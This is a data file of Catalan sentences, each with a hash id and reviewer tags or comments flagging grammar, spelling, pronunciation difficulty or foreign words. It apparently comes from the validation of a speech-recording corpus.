Al mateix temps, li fou concedit l'estatus de ciutat. aa7561d65cea0ebaadb317535b4168cb910bf86fbbe9fac4fc1fd3624ad9568b ca res El poema va ser molt popular durant segles. aa5fcd1036df879d645eaf10a0f1b47cc9a40366b388040efe65060c766a1c77 ca res Un ciclista de BMX extrem desafia la gravetat aa7eab11552a0bb717d7a2b920633a7ddb4fa4dda347517547cf0e81aa0a1f7f ca sembla que res Els mamuts, com els elefants d'avui en dia, tenen queixals hipsodonts. aa6a2e0d84e9cf85fb31450185ebdeeb01c1482475dd34b306b96167fbda32c3 ca res Johannes Schilling i Christian Behrens van ser alguns dels seus millors alumnes. aab74b553f16f616709b651227208d8d4eac2d93ed04126e1ede72d76903f28d ca La pronúncia dels noms..... Lady Yule i la seva filla van viure allà la resta de la seva vida. aa1f5f40037d99367d49daa2a6ae352685069c67e075b1411363616e5b64ac31 ca res Se'l va anomenar pel president Chester A. Arthur. aab7447ed6330f8062c9605aca51838c10a11342e7b7880f24ee980efe17c0ff ca Noms extrangers..... Shaw era amant de les limusines Rolls-Royce i un practicant apassionat del txikung. aa4cc5c7afb73963dbfc1c5bea1046962db86c4295410e26ce6e4ab575b2bd55 ca uffff Com puc arribar a Amposta amb tren? aa9efd440cf83fb5f1a8ae10f27478e089b847d2fffbbbe0318da2e4411aadb7 ca res Les cantonades tenen franges de motllures. aa96fd5c3205668517fbbf9db515a0d94e50f90da5a402c5183964bdab1105f3 ca una mica.... Cada vegada són més habituals els habitatges construïts amb ciment i estany. aaa75b501a7acff9465f306b94b50dbe0e134bfab2257a9743e4fa04f46e6b12 ca es va complicant.... És un de les repetidores més poderoses del seu tipus al país. aac2b9fcaa7052115af182f3e437c52c64d04a455213e2a95d4f2363314da439 ca grammar-or-spelling Per mitja d'una sèrie de transaccions il·legals, es van obtenir diners del fons fiduciari dels indis. aa702c21e7dcbfcd8c911ab7ccb0bc139789d40f7a5feae6693109d3fcb17e9f ca res,,,, Hogg va publicar aquesta trencadora obra a catàlegs astronòmics que encara s'utilitzen avui en dia. aaaf3e13b5da9ed415d0f21317a012e73ee8429d78a585dcc1454181eb9f372b ca ufff.... Aquest camió també portava el primer conjunt de fars rectangulars. aab7243329d21a7336593e026323830b5729f854eef7624239c9e61f51684f95 ca res.... He d'anar a Susqueda amb tren dijous a les onze. aa8dc7a743af6e18dad11a87d220988673489090807fc19f90a51bdc2c4b5fa2 ca res.... Shaw ho va fer bé bloquejant tant la passada com la carrera. aa9fda4ec22a600083005eaaef3d3e90595827e070f229716a8c77499f3e4cc3 ca res Aquest cap de setmana m'agradaria anar a Montuïri. aab318da8e8c8a184bc23abc27d62c832cfd5dcbe95c4735555cb18bdf6e996d ca res Tenim botigues a Passeig de Gràcia, Carrer Diputació, Carrer Mallorca i Carrer Pau Clarís. a9be9ae51940178725e595391ed5eb4863a99c2505a5a29123bcf1ab9219c949 ca pseee..... Amb les guerres entre tribus, és impossible creuar el desert. aa806a61a8d7f1d0057f05422c31ac9ad7486f736f713144950c5de0151dde33 ca res Quines botigues hi ha al carrer del Portal de Santa Madrona? aa9e29051e525fe7babb8b0c5787fbf0256205bed615aef04ee3db94c2ca2177 ca res Amb tot, l'empresa havia anunciat recentment un augment de la producció a la planta de Tulsa, Oklahoma. aa1967c19a1fe87bad696772f5cf2697b6b3412c3ebce6099c92fd1ed7736544 ca difficult-pronounce L'edifici conserva una sèrie de característiques originals, inclòs un sostre decoratiu. aa9ab38c49b009cf759fb1504388f2c24b94ecaeae29de8d571bd28922d84c8b ca be Per on cau Casinos? aa8df1baaac37407b571e8080e36133067d9169571ced3f0811162a2c8cec8ba ca res He d'anar a Gualba amb tren dimarts a dos quarts i cinc de set. aa69688429a3438938f5b205488ab38e0cd7baa6fcb8daee13f30d3de1921a0c ca res El disseny del personatge principal és de l'artista Yoshitaka Amano. aaaef7ff2c401b20c7a65f209c7be25ba02148800abf0d23d16308c5ec2a362c ca difficult-pronounce Es creu que li falta el cap o està mal conservat. aab2a4a1cf1fb14d9334211c7e35b4b4b2e2dff285272d461fcf795eaefa2ae6 ca res... Apunta el sis, vint-i-set, vuitanta-quatre, onze, vuitanta-dos com a telèfon de la Cora Conde. aa9095daf2a1c320ededbc43b1704afbb8ef018a6a6bce5512f714a11b6f9ca0 ca quan s'acaba això....? Programa la rentadora per a un quart de deu. aaac6099372851b94746cc6a5d3ded96842900191c863abe3fa538d7a3ae5cc9 ca res Washington apareix amb l'uniforme de la revolució per garantir la independència americana. aaed851037a33ba386953128a3c02fd76ddd3c57ddbfa9b9862b7a2c44cf7574 ca res.... Es va deixar el mur presbiterià gruixut que donava mantenia la torre. aaf5cab5c861bab0464a780bc50457cc1579527f3d9b8b23379235de4607ec97 ca difficult-pronounce A quina hora arriba l'autobús de Palol de Revardit? aadf02c5768e80732deee7eaa5cc15387b93189b403f1f9e96aad072b0d2e093 ca res Pel juny enraiguem la sega. aaff97dbdeacfc63e110f144df1161b6b2d95070dcf821c7d6763357d8959147 ca difficult-pronounce Tot el vi de Saint-Péray és blanc. aace48a3df3f6a3ef978542cc9b0d3d089848c27004fe58dd791fd1922d8488e ca difficult-pronounce L'objectiu de Reliant Robin era proporcionar un transport personal econòmic i fiable. aaed03b51aa56799c8499348f5a4b6ad8cc0ad65d62bc245a2bd0b31318a9929 ca difficult-pronounce Això va motivar-la a anar a la universitat. aac39796d67a5dc46bb3b83223cd5baee580c063e12a0b021bb4d456049d6b3c ca res Aproximadament al mateix temps, Magnetic Video va començar a emetre pel·lícules en format de disc làser. aab41713e59486990ea7cc732f157fc959eee49486644089764f4a5741292c89 ca difficult-pronounce Merrijig és una paraula aborigen que significa "bé, ben fet". aa9219808189cf4cad81d6901c623a7037abeb1fb6370f4538775f5d9fffa471 ca difficult-pronounce Drury va començar una carrera de quatre anys a la Universitat de Boston després de ser reclutat. ab0a4da8d77dddfbee4a731374237ff8510d07e0f03d49e7d5e6e738dfd7b75b ca difficult-pronounce També era l'eslògan de l'evangelista Aimee Semple McPherson. aad1249d7ecdc29793392f24ca63f21b653cec7b183e68846021b97275ba6bcf ca different-language Un policia en motocicleta observa els pasos de vianants al mig de la ciutat. ab5a9b3cbd4901cb54bff63848a0390ff9202d9aef57b5ce740421861307ef7d ca grammar-or-spelling El meu número es el sis, deu, cinquanta-u, noranta, seixanta-sis. ab1f964bf405bdfffbfdef73706061e5bda3d5a66707dec26a3b6178731e5976 ca grammar-or-spelling Els Rogers els acomiada i marxa camí avall cap al capvespre. ab52e7c3ad67f5c33f187f66ce7d40fb1818d02a7b3cd6b940bb895fe230f55c ca difficult-pronounce Qui va demanar a les clientes que marxessin? ab57a83887539c4800809c446daba08b90ee762b793dc88d03b48554f27213ff ca different-language Va fer costat a Joe Parrino; no obstant això, Parrino aviat va ser assassinat a tirs en un restaurant. aad3851e967ce177cb83eb504291a9f06846dedcc22624b040eee1bafbacb6d6 ca different-language MathWorks va acusar al producte Jacket de AcceleEyes d'infringir la patente de la seva Parallel Computing Toolbox. ab651d13bd679f3904e271d4a848d32c5e7470a200ac810b2c8ccde8e7438021 ca difficult-pronounce El Stadtarchiv Stuttgart és l'arxiu encarregat de la capital de la província de Stuttgart. ab2fde5d6f4110c89c668a938cadaeb29fc61f1092770b18c55c146b7bf9f956 ca different-language Strait va representar el paper del fill de Jeffrey Dean Morgan, Ike Evans. ab2a06e2687a6f3565e123908bca9cb0d834d06e2fd77a1ff7ba907b81407914 ca different-language També és un comentarista de criquet per a l'Sky Network Television. ab5fdb51711b43ab2d8f98279cdc3c607aafa9ff3592e45d7c15371eb5e3bca9 ca difficult-pronounce És el fill gran de Noel Turnour, el setè germà menor del comte. ab7e0cefd9c0c21984791041a7f1e4f7dc89fad07f097767117ed7896a533215 ca different-language A 'Terror and Liberalism', Berman ofereix una teoria del totalitarisme. ab5a454e98ce9f4fd160d2f9e4ede50a54deabc5fab10ed2787641a31e5b43c1 ca different-language Els primers membres de DiBiase van ser Nikolai Volkoff i Bam Bam Bigelow. ab6baa5af072298ed00ce74fa8210a297dbc8daed7a3b61d3021a538dd33cc07 ca different-language Al igual que Binding i Hoche, Catel va identificar tres possibles tipus d'eutanàsia. ab3e2bcc29b3563965eedaaeba9224b8a104191dde24a73bef9587a9e570b46c ca different-language Northrop Frye ho va identificar com una forma central de les novel·les de cavalleries. ab03ae81d192ce189c3be2e6d838caea526482fed71fe91575d0645aa0c33ea5 ca different-language He d'anar al carrer d'Enric Morera amb trasport públic. ab7da32d025269bd2cbf4d545e3b0522ff7b0e35fc77b41d4c153c5717659e09 ca grammar-or-spelling Quina eina s'utilitza en Suïssa per prendre decisions? ab8d04008f29f2486e02b4e3329621d7e1a885be88bce7343d5d1dc4ca18b3bf ca grammar-or-spelling Montenegro va passar dos anys a Venezuela gravant quatre telenovel·les després d'això. aba2896a14e558d98c37aaf52eac67d80db29defa9732b865969c28a688bd45f ca different-language Judicis de Simpson i Menendez. abcffea32f591bf3824e7b025c8174ba37430e0ae1ad5448e32721f1db1e54de ca different-language Quan se li pregunta si vol que li tapin els ulls o si vols dir unes darreres paraules, en Charles diu que no. abc078e66c765350bb9c49c765f56cf9727dcdf01d6ef8423992967b9c1c8bdc ca grammar-or-spelling Els guanyadors van ser els irlandesos Terry Wogan i Clodagh Rodgers. aba1c0227cbc5ebe0721823f890674ae812cec0561b4cbb22073bea0e2199988 ca different-language El llac Harbottle es troba just darrera de Drake Stone. ac0e8c33d5b52b6f7f65fe373270f43d7d37655a4237c4350b99f0926835a995 ca different-language Degut a les seves activitats biològiques, els anàlegs sintètics i semi sintètics han estat preparats per al seu estudi. abf4053cfd93eb14aa393840d782a500a3a29392ef20c740566323d32d5f932f ca grammar-or-spelling Per què el Dr. Jameson, a Nottingham, no va descobrir mai res sobre això? abe925937ec744433027491d2257467650000079f760e2a459fb8daba94bea24 ca grammar-or-spelling Per què el Dr. Jameson, a Nottingham, no va descobrir mai res sobre això? abe925937ec744433027491d2257467650000079f760e2a459fb8daba94bea24 ca different-language Mothersille està casada amb Ato Stephens. ac234d9f56a2e0bff2f49f4bbfb5325e3b5596fbd30062c903feed88355e9199 ca different-language Com ho puc fer per anar al carrer Marc Aureli cantonada Josep M. Lladó? ac245a5147cade408686d73375f6696478773e2cba0d657bd91eaa3bfb534eb7 ca grammar-or-spelling El govern de Mulroney va desmantellar l'organisme Foreign Investment Review Agency i va passar a privatitzar Petro-Canada. ac18ca0dfa26c26aa7897dca60ca224032a8b839a59241428440ab42ecc0c105 ca different-language Provar aquestes afirmacions es un exercici instructiu. abee20397ac50ca157f936077cb6f938ee94a15483cc69ed2ed529b76d70c9dd ca grammar-or-spelling L'àlbum acaba amb "She's a Healer", una sessió ampliada. ac0047ee577fc50b64b7b2a9d8cd8244260fe3d20cdd5de5e1472f81c231b4e1 ca different-language Serveis directes des de Circular Quay i Railway Square. ac70ecbaaa8a37b7720fa623310473a66ba3b745f75b90afb253d30093311f9e ca different-language Es va canviar el nom de l'esdeveniment per Ripspeed Donny. ac600911a37489e6d4903307a9f379da2e816d61cf45d85b40e62b3fb16cd616 ca different-language He d'anar al carrer de Santa Caterina amb trasport públic. aca7fd74e67625bf4bac0c821f49cd0e4b6c7948739f3e07bf873a271eaf95e4 ca grammar-or-spelling Es descriuen diversos serogrups de Shigella; S. flexneri pertany al grup "B". accc4f781a6d5243381c800f70c229c21ef1f0a91ef36c25d552c121f1e3d94f ca grammar-or-spelling Ajuntarem el gust de la cuina marroquina i la índia. acf7f15d2f0abb3f95bfe59de6ed4938ae1616cd18ab7fda6c8530f5974c46a4 ca Ajuntarem el gust de la cuina marroquina i l'índia. També s'espera que sorgeixi un nou centre en la zona industrial de Ompora, a Caixmir. ad0ba0d6b3bdeea085a9c39f2eb26c562a3f8f95c16e540fc6c7ee3597730d5f ca grammar-or-spelling Les úniques actualitzacions amb què es troba son les que aquest ha fet. ac3844b8c2feddbe9aefa37bf6aa9166519b7f020a4e78adc0d4933b13e9c572 ca grammar-or-spelling Chen també va organitzar obres benèfiques per ajudar econòmicament a les minories ètniques de la Xina continental i el Nepal. ad53b22aec79967eadc2ec5ad69790ba1e3af16ee22febaa03da7c3bb3d182ae ca Chen també va organitzar obres benèfiques per ajudar econòmicament les minories ètniques de la Xina continental i el Nepal. El manteniment és tot allò del que un es pot beneficiar. ad49487b882f4d15c3c9d382657e83fa385805f0b62ee6749e281dd375fe04d9 ca El manteniment és tot allò de què un es pot beneficiar. Va ser degut a deutes no sostinguts degut la reducció del nombre d'estudiants. ad9e52615ccd733de7f14b86b945d4faf24b963d3e479a87914c2e85b91380cf ca grammar-or-spelling Jo podria fer-hom però això no vol dir que ho hagi de fer. ad798cb779cabaf48e16ddd9a75023649022ee151600f841f9de72da6fccb0fd ca grammar-or-spelling Una addició a la heroïna va donar per acabada la seva prometedora carrera a les pel·lícules cinematogràfiques. adbede6a696b7b7b219a558201dee9091e7833dcf922deff9361a6aacc3ea3e7 ca Una addicció a la heroïna va donar per acabada la seva prometedora carrera a les pel·lícules cinematogràfiques. Hi han tres companyies de servei d'autobús principals a Hita. ae3a0bd9c13e131793b79b1d16d8a17956ae383d31413d5385c16f8e8defa2c6 ca Hi ha tres companyies de servei d'autobús principals a Hita. Tanmateix, poden haver-hi altres causes de distribució de velocitat, per exemple a causa d'un moviment turbulent. aedd68180303bbe1c0a123e605616ad833503da18a099c5052666960b023b29c ca Tanmateix, pot haver-hi altres causes de distribució de velocitat, per exemple a causa d'un moviment turbulent. Avui, gran part de les antigues terres del poble són propietat el Fons Nacional Jueu. af3fbb367c98396c5475a5d3f9500a299567201b7ed01248be605e271def993f ca grammar-or-spelling El ràfting perdre importància després de la construcció del ferrocarril de la vall de Murg. ae5214ee0948a77957f33e0690bf8aa22a050271c177540b0cd0989acaec85de ca grammar-or-spelling Jardin prefereix el nom "Xeni Jardin" abans que seu nom de pila. af39971d780c8cc6aac707054b43a9658fbf4170bab49f7fd50ee97a6467bb6b ca grammar-or-spelling També va ser un taxonomista prolífic. afc0f1309088b31e0e442afca60e98daa89723ad8a0ce46aba0533081809af56 ca El micròfon de l'Iphone X ho grava molt fluix En la corrasió, els trossos recentment formats es llancen contra la paret de roca. afca5488c7a9ae9e4f7ffc357d638186e3b732e921ae64ccf052188f02b3c777 ca grammar-or-spelling És probable que es els búnquers de fuel "Pickerel" tinguessin filtracions. b02057615672f1e821ae40430a076ba8a9d7560778f1594e2d19a2933d137825 ca grammar-or-spelling Sabent que havia estat greument derrotat, Duque es va negar a anar juntament amb el pla. 9f491142faa3ae5f5a4315e22251a0d5a15c7839b3dfc6ea670ea782a52fcfe2 ca La frase no sembla ben construïda. Tot i que apareixen a la portada, no hi ha Triceratos en el joc. afa1ccc4e413f0823da1f6dc906d39f84619dc53815aaf114fd491359724ba50 ca difficult-pronounce És probable que es els búnquers de fuel "Pickerel" tinguessin filtracions. b02057615672f1e821ae40430a076ba8a9d7560778f1594e2d19a2933d137825 ca grammar-or-spelling Ah, quina ara tan encantadora i abnegada he vist! b0318cb7b29097612534a987e3e899d9b20efcceaf84c1933c1357c3ff61a6ff ca grammar-or-spelling Els coloms espiar als residents de la ciutat sense ser notat molt. b0854d2581d96c81fed296a768499de354babf065d436a26a336fbf1a45239a6 ca grammar-or-spelling Bopara va tenir un pobre actuació en els seus tres primers partits contra Sri Lanka. b016e63405764cd190085c3794946a17e5fafafe932d549050d75928c8029a6d ca grammar-or-spelling Entre les deu i les dotze si hi ha res. aff5f562783a88e32cf3b8d23cfa129b37a95a99f855fa43ac24ff43303ab701 ca grammar-or-spelling Els Regina Roughriders van canviar oficialment el seu nom per convertir-se en els Saskatchewan Roughriders. affa2bf772e676cd15d9d796b3c6e75d87119687d41e44a124093750dfa141ce ca difficult-pronounce A on teniu una consola? b03887ba38248c1c4cfa47064529b46d706e4399563986b8a64d115de374aae0 ca grammar-or-spelling om si fossin el cos d'un delicte, tots aquells fulls de paper b063e13577eedb0371281f1f0bc7b33739e9a60eb8e54d3f236cba69932dfcad ca grammar-or-spelling És part d'Elizabeth City, North Carolina Micropolitan Statistical Area. b044373f17538c808ff0c97d982f9574fa21fe248a7cfb32dc6f098b745a0384 ca difficult-pronounce L'aeroport de Rishiri es troba a Rishirifuji. b0a28ce8501c97b947517c2491c28fccf497112fdb87dcf160f2d6442f6bdc22 ca difficult-pronounce Jonathan Ives, que havia desaparegut de la superfície feia dècades. b0b4671df552dcc3b9dd3ebcc8e80b29daccebda4afa791a200f443eb95d146a ca grammar-or-spelling No t"enganyis a tu mateix, estimat meu. b03f5259dc69fc75aaabcd843d6aaa9d623b37502f101a8d1209c14adc661e72 ca grammar-or-spelling El cim, conegut com a Uto Kulm, està en Stallikon. b09b295894d2cc111816af3d41ce57f02c87645cac7ddcd36d927a9ecdbce631 ca grammar-or-spelling Dos homes asseguts afora que miren una revista on hi ha una fotografia d'una dona en biquini. b025a5f0a89dc0cfa66c3ecc0066e72af04b2d7be18dd690acc960a9951eb03c ca grammar-or-spelling Kiraly va acabar la seva carrera escolar amb una altre títol durant el seu darrer any a l'institut. b122035d714e4c270675d40c5441f080bc6b8cf18f15368df5439450dd41ca84 ca grammar-or-spelling Qui van ser els principals predecessors de Verdi? b13074976f004df984276d2f1349e6ffb957f28b213dd9d2e268a959afe367b0 ca grammar-or-spelling Hi ha registres que els parang es feien servir en atacs contra els britànics i japonesos. b23ee5881bb35968b8bc05057ea075d10a79253d189452b480085ae0a45fad34 ca grammar-or-spelling Hi ha registres que els parang es feien servir en atacs contra els britànics i japonesos. b23ee5881bb35968b8bc05057ea075d10a79253d189452b480085ae0a45fad34 ca "parang" es una paraula inexistent Va identificar elements de materials i va mostrar les tècniques amb les que es feien. b2f0ab0e2a16c0b8502477459626c70e1f983e969eb34ce8c59cf1cf9686e22d ca grammar-or-spelling Va identificar elements de materials i va mostrar les tècniques amb les que es feien. b2f0ab0e2a16c0b8502477459626c70e1f983e969eb34ce8c59cf1cf9686e22d ca grammar-or-spelling Però ara, el joc s"havia acabat per a mi. b5682ea55207c9d15be0431380f818ee4b5366ee23a03d922d2a129a1379e87f ca grammar-or-spelling És alta i prima: sembla una perxa. b58c2afe61e4f7502f188439ee4ce9b3d5ade4677c3a79467c4451058572ccbd ca difficult-pronounce Hi havia tres encarnació diferents del Cadre. b5b5b55a7d4cd9b0ca1f97af94860c583b0e6160071836077eb3f2d167c721b4 ca grammar-or-spelling Nascut/a a Barangay Sto. b5ae3a11dfb6f796554ced93141aded0d8203ba6ad670a6c71c383f649a04839 ca difficult-pronounce El clorur de decualini també por ser una opció per al tractament. b5d013a7e76ab194ae1d4630e5811148487c722b40018f6cc388219b169caf33 ca grammar-or-spelling Per exemple, es fa servir el signe "th" a "think", però no "pothole". b627abd41bcaa612e132b34904a56b03856b5f2611889c97b5d2625065c6de1d ca difficult-pronounce Lal Jawahar Mal i Smt. b5cdfddce446790e256b4b489332da4e9675cb0ef6b3051881bc31fc08078df1 ca difficult-pronounce L"aliança llatí-americana proporciona al país gran part de l"ajuda que necessita. b61732dac236396a29b2c2213bdbe65e8273e00af943217ad102716ca4a55159 ca grammar-or-spelling Chennault s'oposava a la a la incorporació dels Flying Tigers a l'exèrcit. b6d2b187d65a1814b2eb973bbaf8e6f2c0c0cd5a24dd5bfa1a7747e7cbf268bb ca grammar-or-spelling A la illa encara se la coneix com Espiritu Santo. b70c8a6c71e87bcbb344aaa8d352722abbb8fbe5a5ec712708a0aef20c21024d ca grammar-or-spelling Tanmateix, si haguessin sabut en què s'estaven ficat, ho haguessin fet igualment. b68aa856f60371cfd6cf110c0abb931095f055b6313b984c7caa6a1cf9f77917 ca grammar-or-spelling Sóc un gran fan de Courtney Love.Homer: Homer Grateful! b722d5c46d0cf1e5c39b7d2fe55b41db61fde1ae73fbb792401d7ae60f12bbfd ca difficult-pronounce Després de que el trio es separés, Herald va tocar sessions per Vanguard. b63603d0a6f74c032344111b183e6b89aa5701bc5ec8eb0f7b6ebb921c11178d ca grammar-or-spelling Al mateix temps, la ciutat també va comprar ela fortificació oest. b71300afb21a182f6ba5b28a3cf5ec70d4cb0aaf85f591e07e95f8b87f6f93b3 ca grammar-or-spelling Els mecanismes basculants s"eliminaran com a part d"aquest project. b7020419cddd59d7f532cb60cd3f772128e0a29b29a92c61c45fa0053c58c7ab ca grammar-or-spelling Hi ha més d'una dotzena d'universitat i centres universitaris a Alaska. b755be2b8de26c54735c6eb10d1e1bac3fb005d86e6576dc767356b04e39ae7f ca grammar-or-spelling Presenta van varietat de dissenys romànics, que inclouen contraforts de pilastra i arcuació. b76f07aaca4538c505a71ba23bd55fccf88d74dcd3512f706f064a70e58c71fc ca grammar-or-spelling El meu número es el sis, quaranta-tres, zero, quatre, vuitanta-cinc, cinquanta-vuit. b6efff1b0fed788080f721b44a95bb52ddd7c832c71cb2078159a894a1bd06d6 ca grammar-or-spelling La relació va està envoltada de polèmica perquè Anstett era blanca. b762e1b7a92ba94eeb1df89ff83d034a4975f257959d89d8dc7031093678f738 ca grammar-or-spelling Els aficionats utilitzen plantes aquàtiques de diversos estils estètics per al paisatgisme aquàtic. b71eac6812e9a09b47196c6164d11a5c77f11e4ad40ab04f5ad4b30ae5140abe ca difficult-pronounce Presenta van varietat de dissenys romànics, que inclouen contraforts de pilastra i arcuació. b76f07aaca4538c505a71ba23bd55fccf88d74dcd3512f706f064a70e58c71fc ca grammar-or-spelling He d'anar al passatge de Trullàs amb trasport públic. b763074effcea840c22ec7d4de617ba038bed0c30b10ec4e756ec4577a385299 ca grammar-or-spelling Els bens i els passatgers es van transportar des de l"estació al poble. b70d7718a4c791b8f26fd823d605329cd49ef4d1b85428937d0aa7ce85827d33 ca grammar-or-spelling Al mateix temps, la ciutat també va comprar ela fortificació oest. b71300afb21a182f6ba5b28a3cf5ec70d4cb0aaf85f591e07e95f8b87f6f93b3 ca grammar-or-spelling El meu número es el sis, setanta-dos, trenta-nou, tretze, noranta-set. b7710330f45b0cc095eda95894bd1d9cf5a769ff7debbee71a8da313e3524431 ca grammar-or-spelling Al mateix temps, la ciutat també va comprar ela fortificació oest. b71300afb21a182f6ba5b28a3cf5ec70d4cb0aaf85f591e07e95f8b87f6f93b3 ca grammar-or-spelling No eren fets pera pomada, sinó pera suor del treball. b7293e50003c1e9a5f771303d00cb4c2629a85b8f68098a5e585f4e4a7a05f75 ca grammar-or-spelling El Doctor Park va seguir com a president en cap dels panell de fideïcomissaris. b86ec33ee676febd0f7607647b65d7f78488a0a21b2479f365019d9f8aa9d38f ca grammar-or-spelling El Consell té la seva seu Penrith. b8af88157784af6a269cd2c7919f471058fdf8f013037b1d393db1b6806d153d ca grammar-or-spelling No havia ni plorat mai davant les seves pròpies ovelles. b8ab6d7c1013aa20ece945a8621c2f031fcc40174daf1a70504b050261121df6 ca grammar-or-spelling El Teide és el pic més alt dels Pirineus. b8860038188d97836e8b2c1c497683ae22e3855e084103d3bd7e364bcb757e7c ca Teide....pirineu? Què hi ha al carrer Mare de Déu del Carmel cantonada Comerç? b8f2a1638ee748df3c249b289aad1591871a793a9ddcbc31e3f99f2aad5d2d7e ca grammar-or-spelling Als petits normalment s'hi entra a través d'un embornal una reixeta a la part superior. ba36db8a6c375e404cac9894bb6d53f0f6d0686d02af4786e56d55e7e7b19ed8 ca grammar-or-spelling Un grup de soldats asiàtics vestits amb l'uniforme de soldats tradicional marxen junt amb soldats a sobre d'elefants. badb68ca324a1f1e96ca2b1e76a41e698ce61b2e95ad9803cee008fb63d6eb27 ca grammar-or-spelling McIntosh va guanyar les eleccions, que es van celebrar a Malton. bb4205e884f1498cd641e4055d79e08375a87ffdf6a94288bcc9250773173caa ca difficult-pronounce Reserva un lloc per a mi i la Kathrine a Smithville bbdf8a5815f3a19e7722017a6f303b3c0f6f5903f24a5419732e343288775c24 ca A la 3a frase surten reptides paraules amb so d,eco. He canviat de frase diferents vegades. El meu número es el sis, cinquanta-nou, trenta-cinc, quinze, cinquanta-tres. bc1e83e36c4b76bfc260e0ef313642787f2e37cc8c65487ea2d02a1251956040 ca grammar-or-spelling La Shevlin-Hixon Lumber Company també funciona l'àrea de Bend processant pins ponderosa. bc0b19edbc2592f9fbfb3912a9dc8b0e1a36ebba1ebb57c36368b999b01fa13f ca grammar-or-spelling El meu número es el sis, cinquanta-u, zero, tres, trenta-set, zero, u. bb8400c39fdabcd5909873d049a22430ac969d646b9f9edfab33139e54ddd353 ca grammar-or-spelling S'hi va colo-car una transmissió mòbil de tres velocitats. bbd4b7950f6bba5b5d62f59ed0ac1023375b2f7967ac3b516026ba14d569bf1b ca grammar-or-spelling 'Evidentment, estaries d'acord en lluitar?', va dir en Tweedledum en un to més calmat. bbe43b7c4a0e4a8db582d691aa30a532e41b73b60aa1a650de1bcc2df73a81c5 ca grammar-or-spelling Se"n va rescatar un però es va declarar mort després del recat. bba0eb551f09f41381373c78a9a083c867c3e9ff02b71464dcd0e9598f2282a6 ca grammar-or-spelling Exemples de raonament deductiu inclouen l'anàlisi de causa arrel i l'aprenentatge de dalt a abaix. bbd66861eb4782f3f9ea09234939681b12798a5256ef93af3cc723a17a0c1e90 ca grammar-or-spelling M'agradaria anar al carrer de la Mare de Déu dels Reis amb trasport públic. b0a78e3734bfb894fdcdc7705e1fe4e29abcde3eb863594ab8de3e9b4a9e3fb9 ca grammar-or-spelling A la superfície de l"elèctrode, molts àtoms, molècules i ions absorbeixen i afecten les reaccions. bddcffe3916ebde323bc1797e342f0449d5a532b1984845fc12f04460a5c6962 ca grammar-or-spelling Els legisladors de l"estat van anomenar la ciutat com la "capital de la murta de crep" oficial d"Oklahoma. bdd00bc9b1faf9070176f945c25bbc97fc306a768e50a01fdeb1b3aff807467f ca grammar-or-spelling La tassa de mortalitat entre els esclaus era alta. ba237bb033fde3b966bf9153111f9253468caca5622304e15089cf6c033f8067 ca grammar-or-spelling Els escriptors imaginen coses fantàstiques impossibles per a la resta de mortals. bf2bb10f87c313b1797f6c6373e73fce9656aef8e1ec2efa2e24d45acde89c71 ca difficult-pronounce Dues persones escalen una paret de roca portàtil c0bd5df89acb7f9c8360a59cbea950033d74fa28f1f9535d8e69cb61c3f37da7 ca grammar-or-spelling Ford també ja jugar per als Philadelphia Eagles, els Chicago Bears i els Detroit Lions. c047ffb871fb25e8967559658a9aa4b313419d80ac34d61ddc89b8982532e5ef ca grammar-or-spelling La implementació del nou flux de treball va ser tot un èxit. c0bdff5dde3e30f0829aa7e9bb7a5bbb11685af1dccc75ada7c2626a67663f81 ca grammar-or-spelling dijous he d'anar a Isòvol amb autobús. c08ac64485fcdfb8ae3c94ef489ba8b598ae6f973c84f469052bf4cc143f4cf1 ca grammar-or-spelling Els alumnes s'examinen amb proves de diversos nivells de cursos en funció del seu grau de comprensió de l'italià. c0c8c5090cb0f20f40a90f14797f1dc4315e69e6f118b43da8fbbbe96fcef753 ca Li cal una coma, sinó, la frase és massa llarga i cal respirar entremig. Vaig al carrer de Vallès i Ribot. c0fe0a843cf5aad7630615c4012b0ce1c2372b18ce9b31cd544cc135327730c7 ca Jo no utilitzaria el verb "ser" en aquesta frase: "El diari no era escrit en català", utilitzaria el verb "estar". Sona molt més natural. Originalment neutre en quant a política, es va convertir en el diari democràtic alemany més important d'Ohio. c0f0d1e3aeba875301ac3a24606b829141e6a41cb167eb6b624130b188188dd5 ca grammar-or-spelling En aquell moment, EuroManx es va tornar a reestructurar i es va retirar de la ruta de Dublin. c0b45a06b5c8c6803def45fa9bcbcb14ea8ff885bd7c649973837aafc79c42a2 ca grammar-or-spelling Els Bobtails americans és una raça molt forta, amb pelatge curt i llarg. c102f1ff63f9c52aeba12d182513a6cb8f206fbf93d6d93d891035afa1a98c49 ca grammar-or-spelling Elaine Shaffer va nàixer en Altoona, Pennsylvania. c16381a8fb09fd90c0a1ea3490efa8f372e5b733db5203cac01320d41d447aa8 ca grammar-or-spelling Aquest és el motiu pel quan, en fer el canvi de test, la flor de Satsuki no surt aquell any. c123aa43ae1d357abe5d23169b8eaaf83e505316e1ea5bc888cf48656056fca9 ca grammar-or-spelling Segueixes traient el cap i mirant entorn c1701ac16a2f0f4be37dc8784b4a947cc569a113ee72bfbde79bdc3293e47264 ca grammar-or-spelling Els canvis de cercle eficaços poden reduir l'escamot dividir una gerra experimentarà. c1be3be7c033f64a3ac8a4c2dd9f54925f9e9eaf63936538e9e35f23aad0031a ca grammar-or-spelling Dos dones corrent davant d'un anunci de Coca-Cola. c10939ed5042107e20aaf76a497cfbe6977e35697c1fa8cda6f0f92c71ad8277 ca grammar-or-spelling Apunta a l'agenda el número del Álvaro Alija: sis, seixanta-sis, noranta, vuitanta-set, tretze. c1fc338601e7878a3902c534a73a3da9e8cb090701bf05f42d79f200ad4be50e ca grammar-or-spelling És i un carril d'amplada. c38103c76f23bfe419648d6ee148adf4ec47970dcc5a7b2c45e0933979f74dbe ca grammar-or-spelling Va obrir al tràfic només dimecres per la tarde, dissabtes i diumenges. c49415c47cc5f7fa99a3151ff3fd384c470baa205ce36d672016f568bbb7a91a ca grammar-or-spelling Quina és la millor manera d'anar del carrer de l'Est a la passeig de l'Escullera? c4956c505a5eece4ded75b5693b4e8d8d41b148f111b0688014c21e4f6a846b6 ca grammar-or-spelling La Divisió de proves de semiconductors fabrica els equipaments de prova que utilitzen els fabricants de circuits integrats. c4b0f4ad888271e09fcb9bf6000af289c5c44191fb1761150ba7a95da7866d88 ca Frase massa llarga i sense comes. Caldria dividir-ho en dies frases. Tenien més l'aire de soldats que totes les altres tropes c50f8f1f31744bc9845a3cea2686eba39f58de3b6ed5340462e3ed90bfc4ef94 ca grammar-or-spelling Els americans han descrit als Pulahanes com a lluitadors notoris i són experts en el combat cos a cos. c5dfb6106bec0d80f8a263f93f403038f3c23cbb6e97dfc917ea1155ed7f9879 ca grammar-or-spelling 